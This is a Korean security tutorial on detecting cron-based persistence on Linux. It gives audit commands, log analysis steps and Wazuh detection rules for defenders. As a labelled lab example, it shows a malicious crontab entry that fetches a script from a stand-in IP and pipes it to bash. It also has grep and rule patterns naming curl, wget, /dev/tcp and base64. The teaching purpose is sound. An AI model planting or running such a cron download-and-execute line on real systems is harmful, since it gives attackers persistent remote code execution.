시스템 보안 · 취약점 › I. 지속성 · 재침투 징후 · 19/50편 (전체 419/450)
학습 단계: 스케줄·서비스·부팅 지속성 탐지
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
cron은 가장 오래되고 가장 흔한 Linux 지속성입니다(T1053.003). 몇 분마다 악성 스크립트를 다시 내려받거나, 지워진 백도어를 되살리는 역할을 합니다.
cron 지속성 위치
/etc/crontab 시스템 전체
/etc/cron.d/* 패키지·관리자용 (파일명 위장 쉬움)
/etc/cron.{hourly,daily,...} run-parts 실행
/var/spool/cron/<user> 사용자 crontab (crontab -e)
/var/spool/cron/crontabs/ (Ubuntu)
흔한 내용: curl|bash, /dev/tcp, base64 -d, 숨김 경로 실행
핵심: cron은 "되살리는 장치" — 다른 지속성을 복구하는 역할을 자주 맡는다
F영역 19편이 cron 지속성을 프로세스 관점에서 다뤘다면, 이번 편은 재침투·재생성 장치로서의 cron과 cron 로그(CMD·REPLACE) 분석에 집중합니다.
| 확인 | 명령 / 로그 | 포인트 |
|---|---|---|
| 전체 목록 | ls -la /etc/cron* /var/spool/cron* | 신규·숨김 파일 |
| 사용자별 | crontab -l -u <user> | 서비스 계정 crontab |
| 편집 기록 | grep -E 'REPLACE|BEGIN EDIT' /var/log/cron | 누가 편집 |
| 실행 기록 | grep CMD /var/log/cron | 실제 실행 명령 |
# cron 지속성 점검 (분석 방법)
sudo find /etc/cron* /var/spool/cron* -type f -newer /root/baseline/persist-* -ls 2>/dev/null
sudo grep -rnE 'curl|wget|/dev/tcp|base64|nc |python.*-c|/tmp/|/dev/shm/' /etc/cron* /var/spool/cron* 2>/dev/null
for u in $(cut -d: -f1 /etc/passwd); do sudo crontab -l -u "$u" 2>/dev/null | grep -v '^#' | sed "s/^/$u: /"; done
sudo grep -E 'REPLACE|BEGIN EDIT|CMD' /var/log/cron 2>/dev/null | tail -20
/etc/cron.d/sysstat (sysstat 소유)
cron: (root) CMD (/usr/lib64/sa/sa1 1 1)
사용자 crontab: 없음
cron 파일이 패키지 소유이거나 승인된 작업이고, 실행 명령이 로컬 스크립트인 상태가 정상입니다.
crontab[3901]: (apache) REPLACE (apache)
apache: */5 * * * * /bin/bash -c 'curl -fsSL http://198.51.100.7/k.sh|bash'
cron: (apache) CMD (/bin/bash -c 'curl -fsSL http://198.51.100.7/k.sh|bash')
cron 지속성 분석 흐름입니다(가상의 예시).
[cron 파일 변경] auditd persist_cron · cron REPLACE 로그
↓
[내용 확인] 외부 다운로드·인코딩·숨김 경로
↓
[실행 확인] CMD 로그 주기·최초 실행 시각
↓
[파급] 다운로드 대상이 재설치하는 지속성(키·바이너리) 추적
| 로그 | 의미 |
|---|---|
| BEGIN EDIT / REPLACE | crontab 편집 |
| CMD | 실행 |
| 파일 생성 | cron.d 직접 작성 |
cron이 다른 지속성을 재생성하는 구조라면, cron을 먼저 제거해야 다른 지속성을 지워도 되살아나지 않습니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_i,persistence,">
<rule id="108180" level="12">
<if_sid>108000</if_sid>
<field name="audit.key">persist_cron</field>
<field name="audit.file.name" type="pcre2">^/etc/cron|^/var/spool/cron</field>
<description>cron 위치 파일 생성·수정(cron 지속성 의심)</description>
<mitre><id>T1053.003</id></mitre>
</rule>
<rule id="108181" level="13">
<decoded_as>syslog</decoded_as>
<program_name>CROND|cron</program_name>
<match type="pcre2">CMD \(.*(curl|wget)[^|]*\|\s*(ba)?sh|/dev/tcp/|base64 -d</match>
<description>cron이 외부 다운로드·셸 파이프·/dev/tcp 명령 실행</description>
<mitre><id>T1053.003</id></mitre>
</rule>
</group>
파일 변경(108180)과 실행 로그(108181)를 함께 탐지합니다. 실행 로그 룰은 auditd가 아닌 syslog 기반이라 독립 룰로 작성했습니다.
| 위치 | 확인 |
|---|---|
| /etc/crontab·cron.d | 파일 생성·내용 |
| cron.daily 등 | 스크립트 추가 |
| 사용자 crontab | REPLACE 로그 |
| 실행 | CMD 로그 |
| 면접 포인트 | "cron은 되살리는 장치 — 다른 지속성보다 먼저 제거한다" |
다음 편 420. 지속성·재침투 — at·batch 일회성 예약 실행 탐지 에서는 at·batch로 예약한 지연 실행이 근절 이후 지속성을 다시 설치하는 "시한 장치"로 쓰이는 패턴을 atq·spool·감사 로그로 탐지하는 방법을 다룹니다.
이전 편: 418. 지속성·재침투 — 계정·인증 지속성 종합 분석
📚 시리즈 전체 보기: 시스템 보안 · 취약점